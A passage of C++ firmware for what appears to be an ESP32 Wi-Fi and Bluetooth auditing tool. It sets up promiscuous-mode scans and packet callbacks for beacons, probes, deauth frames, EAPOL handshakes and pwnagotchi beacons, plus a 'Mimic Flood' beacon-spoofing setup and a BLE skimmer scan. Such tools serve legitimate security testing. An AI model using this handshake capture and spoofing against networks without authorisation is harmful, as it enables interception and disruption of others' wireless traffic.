  648. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  649. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  650. this->wifi_initialized = true;
  651. initTime = millis();
  652. }
  653. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  654. {
  655. #ifdef HAS_SCREEN
  656. display_obj.tft.init();
  657. display_obj.tft.setRotation(1);
  658. display_obj.tft.fillScreen(TFT_BLACK);
  659. #endif
  660. sd_obj.openCapture("packet_monitor");
  661. #ifdef HAS_SCREEN
  662. #ifdef TFT_SHIELD
  663. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  664. Serial.println("Using TFT Shield");
  665. #else if defined(TFT_DIY)
  666. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  667. Serial.println("Using TFT DIY");
  668. #endif
  669. display_obj.tft.setTouch(calData);
  670. //display_obj.tft.setFreeFont(1);
  671. display_obj.tft.setFreeFont(NULL);
  672. display_obj.tft.setTextSize(1);
  673. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  674. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  675. delay(10);
  676. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  677. display_obj.tftDrawColorKey();
  678. display_obj.tftDrawXScaleButtons(x_scale);
  679. display_obj.tftDrawYScaleButtons(y_scale);
  680. display_obj.tftDrawChannelScaleButtons(set_channel);
  681. display_obj.tftDrawExitScaleButtons();
  682. #endif
  683. Serial.println("Running packet scan...");
  684. esp_wifi_init(&cfg);
  685. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  686. esp_wifi_set_mode(WIFI_MODE_NULL);
  687. esp_wifi_start();
  688. esp_wifi_set_promiscuous(true);
  689. esp_wifi_set_promiscuous_filter(&filt);
  690. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  691. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  692. this->wifi_initialized = true;
  693. uint32_t initTime = millis();
  694. }
  695. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  696. {
  697. num_eapol = 0;
  698. #ifdef HAS_SCREEN
  699. display_obj.tft.init();
  700. display_obj.tft.setRotation(1);
  701. display_obj.tft.fillScreen(TFT_BLACK);
  702. #endif
  703. sd_obj.openCapture("eapol");
  704. #ifdef HAS_SCREEN
  705. #ifdef TFT_SHIELD
  706. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  707. //Serial.println("Using TFT Shield");
  708. #else if defined(TFT_DIY)
  709. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  710. //Serial.println("Using TFT DIY");
  711. #endif
  712. display_obj.tft.setTouch(calData);
  713. display_obj.tft.setFreeFont(NULL);
  714. display_obj.tft.setTextSize(1);
  715. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  716. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  717. delay(10);
  718. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  719. display_obj.tftDrawEapolColorKey();
  720. display_obj.tftDrawChannelScaleButtons(set_channel);
  721. display_obj.tftDrawExitScaleButtons();
  722. #endif
  723. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  724. esp_wifi_init(&cfg);
  725. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  726. esp_wifi_set_mode(WIFI_MODE_NULL);
  727. esp_wifi_start();
  728. esp_wifi_set_promiscuous(true);
  729. esp_wifi_set_promiscuous_filter(&filt);
  730. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  731. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  732. this->wifi_initialized = true;
  733. initTime = millis();
  734. }
  735. // Function to prepare for beacon mimic
  736. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  737. #ifdef HAS_SCREEN
  738. display_obj.TOP_FIXED_AREA_2 = 48;
  739. display_obj.tteBar = true;
  740. display_obj.print_delay_1 = 15;
  741. display_obj.print_delay_2 = 10;
  742. display_obj.initScrollValues(true);
  743. display_obj.tft.setTextWrap(false);
  744. display_obj.tft.setTextColor(TFT_BLACK, color);
  745. display_obj.tft.fillRect(0,16,240,16, color);
  746. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  747. display_obj.touchToExit();
  748. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  749. #endif
  750. packets_sent = 0;
  751. esp_wifi_init(&cfg);
  752. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  753. esp_wifi_set_mode(WIFI_AP_STA);
  754. esp_wifi_start();
  755. esp_wifi_set_promiscuous_filter(NULL);
  756. esp_wifi_set_promiscuous(true);
  757. esp_wifi_set_max_tx_power(78);
  758. this->wifi_initialized = true;
  759. initTime = millis();
  760. }
  761. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  762. {
  763. sd_obj.openCapture("pwnagotchi");
  764. #ifdef HAS_SCREEN
  765. display_obj.TOP_FIXED_AREA_2 = 48;
  766. display_obj.tteBar = true;
  767. display_obj.print_delay_1 = 15;
  768. display_obj.print_delay_2 = 10;
  769. display_obj.initScrollValues(true);
  770. display_obj.tft.setTextWrap(false);
  771. display_obj.tft.setTextColor(TFT_WHITE, color);
  772. display_obj.tft.fillRect(0,16,240,16, color);
  773. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  774. display_obj.touchToExit();
  775. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  776. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  777. #endif
  778. esp_wifi_init(&cfg);
  779. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  780. esp_wifi_set_mode(WIFI_MODE_NULL);
  781. esp_wifi_start();
  782. esp_wifi_set_promiscuous(true);
  783. esp_wifi_set_promiscuous_filter(&filt);
  784. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  785. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  786. this->wifi_initialized = true;
  787. initTime = millis();
  788. }
  789. // Function to start running a beacon scan
  790. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  791. {
  792. sd_obj.openCapture("beacon");
  793. #ifdef HAS_SCREEN
  794. display_obj.TOP_FIXED_AREA_2 = 48;
  795. display_obj.tteBar = true;
  796. display_obj.print_delay_1 = 15;
  797. display_obj.print_delay_2 = 10;
  798. display_obj.initScrollValues(true);
  799. display_obj.tft.setTextWrap(false);
  800. display_obj.tft.setTextColor(TFT_WHITE, color);
  801. display_obj.tft.fillRect(0,16,240,16, color);
  802. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  803. display_obj.touchToExit();
  804. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  805. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  806. #endif
  807. esp_wifi_init(&cfg);
  808. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  809. esp_wifi_set_mode(WIFI_MODE_NULL);
  810. esp_wifi_start();
  811. esp_wifi_set_promiscuous(true);
  812. esp_wifi_set_promiscuous_filter(&filt);
  813. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  814. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  815. this->wifi_initialized = true;
  816. initTime = millis();
  817. }
  818. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  819. {
  820. sd_obj.openCapture("deauth");
  821. #ifdef HAS_SCREEN
  822. display_obj.TOP_FIXED_AREA_2 = 48;
  823. display_obj.tteBar = true;
  824. display_obj.print_delay_1 = 15;
  825. display_obj.print_delay_2 = 10;
  826. display_obj.initScrollValues(true);
  827. display_obj.tft.setTextWrap(false);
  828. display_obj.tft.setTextColor(TFT_BLACK, color);
  829. display_obj.tft.fillRect(0,16,240,16, color);
  830. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  831. display_obj.touchToExit();
  832. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  833. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  834. #endif
  835. esp_wifi_init(&cfg);
  836. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  837. esp_wifi_set_mode(WIFI_MODE_NULL);
  838. esp_wifi_start();
  839. esp_wifi_set_promiscuous(true);
  840. esp_wifi_set_promiscuous_filter(&filt);
  841. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  842. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  843. this->wifi_initialized = true;
  844. initTime = millis();
  845. }
  846. // Function for running probe request scan
  847. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  848. {
  849. sd_obj.openCapture("probe");
  850. #ifdef HAS_SCREEN
  851. display_obj.TOP_FIXED_AREA_2 = 48;
  852. display_obj.tteBar = true;
  853. display_obj.print_delay_1 = 15;
  854. display_obj.print_delay_2 = 10;
  855. display_obj.initScrollValues(true);
  856. display_obj.tft.setTextWrap(false);
  857. display_obj.tft.setTextColor(TFT_BLACK, color);
  858. display_obj.tft.fillRect(0,16,240,16, color);
  859. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  860. display_obj.touchToExit();
  861. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  862. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  863. #endif
  864. esp_wifi_init(&cfg);
  865. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  866. esp_wifi_set_mode(WIFI_MODE_NULL);
  867. esp_wifi_start();
  868. esp_wifi_set_promiscuous(true);
  869. esp_wifi_set_promiscuous_filter(&filt);
  870. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  871. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  872. this->wifi_initialized = true;
  873. initTime = millis();
  874. }
  875. // Function to start running any BLE scan
  876. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  877. {
  878. #ifdef HAS_BT
  879. #ifdef HAS_SCREEN
  880. display_obj.print_delay_1 = 50;
  881. display_obj.print_delay_2 = 20;
  882. #endif
  883. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  884. NimBLEDevice::setScanDuplicateCacheSize(200);
  885. NimBLEDevice::init("");
  886. pBLEScan = NimBLEDevice::getScan(); //create new scan
  887. if (scan_mode == BT_SCAN_ALL)
  888. {
  889. #ifdef HAS_SCREEN
  890. display_obj.TOP_FIXED_AREA_2 = 48;
  891. display_obj.tteBar = true;
  892. display_obj.initScrollValues(true);
  893. display_obj.tft.setTextWrap(false);
  894. display_obj.tft.setTextColor(TFT_BLACK, color);
  895. display_obj.tft.fillRect(0,16,240,16, color);
  896. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  897. display_obj.touchToExit();
  898. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  899. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  900. #endif
  901. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  902. }
  903. else if (scan_mode == BT_SCAN_SKIMMERS)
  904. {
  905. #ifdef HAS_SCREEN
  906. display_obj.TOP_FIXED_AREA_2 = 160;
  907. display_obj.tteBar = true;
  908. display_obj.tft.fillScreen(TFT_DARKGREY);
  909. display_obj.initScrollValues(true);
  910. display_obj.tft.setTextWrap(false);
  911. display_obj.tft.setTextColor(TFT_BLACK, color);
  912. display_obj.tft.fillRect(0,16,240,16, color);
  913. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  914. display_obj.twoPartDisplay(text_table4[43]);
  915. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  916. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  917. #endif
  918. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  919. }
  920. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  921. pBLEScan->setInterval(97);
  922. pBLEScan->setWindow(37); // less or equal setInterval value
  923. pBLEScan->setMaxResults(0);
  924. pBLEScan->start(0, scanCompleteCB, false);
  925. Serial.println("Started BLE Scan");
  926. this->ble_initialized = true;
  927. initTime = millis();
  928. #endif
  929. }
  930. // Function that is called when BLE scan is completed
  931. #ifdef HAS_BT
  932. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  933. printf("Scan complete!\n");
  934. printf("Found %d devices\n", scanResults.getCount());
  935. scanResults.dump();
  936. } // scanCompleteCB
  937. #endif
  938. // Function to extract MAC addr from a packet at given offset
  939. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  940. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  941. }
  942. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  943. {
  944. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  945. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  946. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  947. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  948. int len = snifferPacket->rx_ctrl.sig_len;
  949. String display_string = "";
  950. String src_addr_string = "";
  951. if (type == WIFI_PKT_MGMT)
  952. {
  953. len -= 4;
  954. }
  955. int fctl = ntohs(frameControl->fctl);
  956. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  957. const WifiMgmtHdr *hdr = &ipkt->hdr;
  958. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  959. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  960. //{
  961. char addr[] = "00:00:00:00:00:00";
  962. getMAC(addr, snifferPacket->payload, 10);
  963. src_addr_string.concat(addr);
  964. bool match = false;
  965. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  966. if (src_addr_string.startsWith(espressif_macs[i])) {
  967. match = true;
  968. break;
  969. }
  970. }
  971. if (!match)
  972. return;
  973. delay(random(0, 10));
  974. Serial.print("RSSI: ");
  975. Serial.print(snifferPacket->rx_ctrl.rssi);
  976. Serial.print(" Ch: ");
  977. Serial.print(snifferPacket->rx_ctrl.channel);
  978. Serial.print(" BSSID: ");
  979. Serial.print(addr);
  980. //display_string.concat(" RSSI: ");
  981. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  982. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  983. //display_string.concat(" ");
  984. display_string.concat(" -> ");
  985. display_string.concat(addr);
  986. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  987. {
  988. display_string.concat(" ");
  989. }
  990. Serial.print(" ");
  991. #ifdef HAS_SCREEN
  992. display_obj.loading = true;
  993. display_obj.display_buffer->add(display_string);
  994. display_obj.loading = false;
  995. #endif
  996. Serial.println();
  997. if (save_packet)
  998. sd_obj.addPacket(snifferPacket->payload, len);
  999. //}
  1000. }
  1001. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1002. {
  1003. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1004. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1005. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1006. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1007. int len = snifferPacket->rx_ctrl.sig_len;
  1008. String display_string = "";
  1009. String src = "";
  1010. String essid = "";
  1011. if (type == WIFI_PKT_MGMT)
  1012. {
  1013. len -= 4;
  1014. int fctl = ntohs(frameControl->fctl);
  1015. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1016. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1017. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1018. #ifdef HAS_SCREEN
  1019. int buf = display_obj.display_buffer->size();
  1020. #else
  1021. int buf = 0;
  1022. #endif
  1023. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1024. {
  1025. char addr[] = "00:00:00:00:00:00";
  1026. getMAC(addr, snifferPacket->payload, 10);
  1027. src.concat(addr);
  1028. if (src == "de:ad:be:ef:de:ad") {
  1029. delay(random(0, 10));
  1030. Serial.print("RSSI: ");
  1031. Serial.print(snifferPacket->rx_ctrl.rssi);
  1032. Serial.print(" Ch: ");
  1033. Serial.print(snifferPacket->rx_ctrl.channel);
  1034. Serial.print(" BSSID: ");
  1035. Serial.print(addr);
  1036. //display_string.concat(addr);
  1037. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1038. Serial.print(" ESSID: ");
  1039. display_string.concat(" -> ");
  1040. // Just grab the first 255 bytes of the pwnagotchi beacon
  1041. // because that is where the name is
  1042. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1043. for (int i = 0; i < len - 37; i++)
  1044. {
  1045. Serial.print((char)snifferPacket->payload[i + 38]);
  1046. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1047. if (isAscii(snifferPacket->payload[i + 38]))
  1048. essid.concat((char)snifferPacket->payload[i + 38]);
  1049. else
  1050. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1051. }
  1052. //essid.concat("\": \"\"}}");
  1053. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1054. // Load json
  1055. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1056. DynamicJsonDocument json(1024); // ArduinoJson v6
  1057. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1058. // ArduinoJson v6
  1059. if (deserializeJson(json, essid)) {
  1060. Serial.println("\nCould not parse Pwnagotchi json");
  1061. display_string.concat(essid);
  1062. }
  1063. else {
  1064. Serial.println("\nSuccessfully parsed json");
  1065. String json_output;
  1066. //json.printTo(json_output); // ArduinoJson v5
  1067. serializeJson(json, json_output); // ArduinoJson v6
  1068. Serial.println(json_output);
  1069. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1070. }
  1071. int temp_len = display_string.length();
  1072. for (int i = 0; i < 40 - temp_len; i++)
  1073. {
  1074. display_string.concat(" ");
  1075. }
  1076. Serial.print(" ");
  1077. #ifdef HAS_SCREEN
  1078. if (display_obj.display_buffer->size() == 0)
  1079. {
  1080. display_obj.loading = true;
  1081. display_obj.display_buffer->add(display_string);
  1082. display_obj.loading = false;
  1083. }
  1084. #endif
  1085. Serial.println();
  1086. if (save_packet)
  1087. sd_obj.addPacket(snifferPacket->payload, len);
  1088. }
  1089. }
  1090. }
  1091. }
  1092. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1093. {
  1094. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1095. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1096. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1097. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1098. int len = snifferPacket->rx_ctrl.sig_len;
  1099. String display_string = "";
  1100. String essid = "";
  1101. String bssid = "";
  1102. if (type == WIFI_PKT_MGMT)
  1103. {
  1104. len -= 4;
  1105. int fctl = ntohs(frameControl->fctl);
  1106. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1107. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1108. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1109. #ifdef HAS_SCREEN
  1110. int buf = display_obj.display_buffer->size();
  1111. #else
  1112. int buf = 0;
  1113. #endif
  1114. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1115. {
  1116. char addr[] = "00:00:00:00:00:00";
  1117. getMAC(addr, snifferPacket->payload, 10);
  1118. bool in_list = false;
  1119. bool mac_match = true;
  1120. for (int i = 0; i < access_points->size(); i++) {
  1121. mac_match = true;
  1122. //Serial.print("Checking ");
  1123. //Serial.print(addr);
  1124. //Serial.println(" against " + (String)access_points->get(i).essid);
  1125. for (int x = 0; x < 6; x++) {
  1126. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1127. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1128. mac_match = false;
  1129. //Serial.println("MACs do not match");
  1130. break;
  1131. }
  1132. }
  1133. if (mac_match) {
  1134. in_list = true;
  1135. break;
  1136. }
  1137. }
  1138. if (!in_list) {
  1139. delay(random(0, 10));
  1140. Serial.print("RSSI: ");
  1141. Serial.print(snifferPacket->rx_ctrl.rssi);
  1142. Serial.print(" Ch: ");
  1143. Serial.print(snifferPacket->rx_ctrl.channel);
  1144. Serial.print(" BSSID: ");
  1145. Serial.print(addr);
  1146. display_string.concat(addr);
  1147. Serial.print(" ESSID: ");
  1148. display_string.concat(" -> ");
  1149. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1150. {
  1151. Serial.print((char)snifferPacket->payload[i + 38]);
  1152. display_string.concat((char)snifferPacket->payload[i + 38]);
  1153. essid.concat((char)snifferPacket->payload[i + 38]);
  1154. }
  1155. bssid.concat(addr);
  1156. int temp_len = display_string.length();
  1157. for (int i = 0; i < 40 - temp_len; i++)
  1158. {
  1159. display_string.concat(" ");
  1160. }
  1161. Serial.print(" ");
  1162. #ifdef HAS_SCREEN
  1163. if (display_obj.display_buffer->size() == 0)
  1164. {
  1165. display_obj.loading = true;
  1166. display_obj.display_buffer->add(display_string);
  1167. display_obj.loading = false;
  1168. }
  1169. #endif
  1170. if (essid == "") {
  1171. essid = bssid;
  1172. Serial.print(essid + " ");
  1173. }
  1174. AccessPoint ap = {essid,
  1175. snifferPacket->rx_ctrl.channel,
  1176. {snifferPacket->payload[10],
  1177. snifferPacket->payload[11],
  1178. snifferPacket->payload[12],
  1179. snifferPacket->payload[13],
  1180. snifferPacket->payload[14],
  1181. snifferPacket->payload[15]},
  1182. false};
  1183. access_points->add(ap);
  1184. Serial.print(access_points->size());
  1185. Serial.println();
  1186. if (save_packet)
  1187. sd_obj.addPacket(snifferPacket->payload, len);
  1188. }
  1189. }
  1190. }
  1191. }
  1192. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1193. {
  1194. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1195. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1196. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1197. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1198. int len = snifferPacket->rx_ctrl.sig_len;
  1199. String display_string = "";
  1200. if (type == WIFI_PKT_MGMT)
  1201. {
  1202. len -= 4;
  1203. int fctl = ntohs(frameControl->fctl);
  1204. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1205. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1206. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1207. #ifdef HAS_SCREEN
  1208. int buf = display_obj.display_buffer->size();
  1209. #else
  1210. int buf = 0;
  1211. #endif
  1212. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1213. {
  1214. delay(random(0, 10));
  1215. Serial.print("RSSI: ");
  1216. Serial.print(snifferPacket->rx_ctrl.rssi);
  1217. Serial.print(" Ch: ");
  1218. Serial.print(snifferPacket->rx_ctrl.channel);
  1219. Serial.print(" BSSID: ");
  1220. char addr[] = "00:00:00:00:00:00";
  1221. getMAC(addr, snifferPacket->payload, 10);
  1222. Serial.print(addr);
  1223. display_string.concat(addr);
  1224. Serial.print(" ESSID: ");
  1225. display_string.concat(" -> ");
  1226. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1227. {
  1228. Serial.print((char)snifferPacket->payload[i + 38]);
  1229. display_string.concat((char)snifferPacket->payload[i + 38]);
  1230. }
  1231. int temp_len = display_string.length();
  1232. #ifdef HAS_SCREEN
  1233. for (int i = 0; i < 40 - temp_len; i++)
  1234. {
  1235. display_string.concat(" ");
  1236. }
  1237. Serial.print(" ");
  1238. if (display_obj.display_buffer->size() == 0)
  1239. {
  1240. display_obj.loading = true;
  1241. display_obj.display_buffer->add(display_string);
  1242. display_obj.loading = false;
  1243. }
  1244. #endif
  1245. Serial.println();
  1246. if (save_packet)
  1247. sd_obj.addPacket(snifferPacket->payload, len);
  1248. }
  1249. }
  1250. }
  1251. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1252. {
  1253. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1254. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1255. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1256. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1257. int len = snifferPacket->rx_ctrl.sig_len;
  1258. String display_string = "";
  1259. if (type == WIFI_PKT_MGMT)
  1260. {
  1261. len -= 4;
  1262. int fctl = ntohs(frameControl->fctl);
  1263. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1264. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1265. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1266. #ifdef HAS_SCREEN
  1267. int buf = display_obj.display_buffer->size();
  1268. #else
  1269. int buf = 0;
  1270. #endif
  1271. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1272. {
  1273. delay(random(0, 10));
  1274. Serial.print("RSSI: ");
  1275. Serial.print(snifferPacket->rx_ctrl.rssi);
  1276. Serial.print(" Ch: ");
  1277. Serial.print(snifferPacket->rx_ctrl.channel);
  1278. Serial.print(" BSSID: ");
  1279. char addr[] = "00:00:00:00:00:00";
  1280. getMAC(addr, snifferPacket->payload, 10);
  1281. Serial.print(addr);
  1282. display_string.concat(text_table4[0]);
  1283. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1284. display_string.concat(" ");
  1285. display_string.concat(addr);
  1286. #ifdef HAS_SCREEN
  1287. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1288. {
  1289. display_string.concat(" ");
  1290. }
  1291. Serial.print(" ");
  1292. if (display_obj.display_buffer->size() == 0)
  1293. {
  1294. display_obj.loading = true;
  1295. display_obj.display_buffer->add(display_string);
  1296. display_obj.loading = false;
  1297. }
  1298. #endif
  1299. Serial.println();
  1300. if (save_packet)
  1301. sd_obj.addPacket(snifferPacket->payload, len);
  1302. }
  1303. }
  1304. }
  1305. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1306. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1307. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1308. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1309. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1310. int len = snifferPacket->rx_ctrl.sig_len;
  1311. String display_string = "";
  1312. if (type == WIFI_PKT_MGMT)
  1313. {
  1314. len -= 4;
  1315. int fctl = ntohs(frameControl->fctl);
  1316. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1317. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1318. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1319. #ifdef HAS_SCREEN
  1320. int buf = display_obj.display_buffer->size();
  1321. #else
  1322. int buf = 0;
  1323. #endif
  1324. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1325. {
  1326. delay(random(0, 10));
  1327. Serial.print("RSSI: ");
  1328. Serial.print(snifferPacket->rx_ctrl.rssi);
  1329. Serial.print(" Ch: ");
  1330. Serial.print(snifferPacket->rx_ctrl.channel);
  1331. Serial.print(" Client: ");
  1332. char addr[] = "00:00:00:00:00:00";
  1333. getMAC(addr, snifferPacket->payload, 10);
  1334. Serial.print(addr);
  1335. display_string.concat(addr);
  1336. Serial.print(" Requesting: ");
  1337. display_string.concat(" -> ");
  1338. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1339. {
  1340. Serial.print((char)snifferPacket->payload[26 + i]);
  1341. display_string.concat((char)snifferPacket->payload[26 + i]);
  1342. }
  1343. // Print spaces because of the rotating lines of the hardware scroll.
  1344. // The same characters print from previous lines so I just overwrite them
  1345. // with spaces.
  1346. #ifdef HAS_SCREEN
  1347. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1348. {
  1349. display_string.concat(" ");
  1350. }
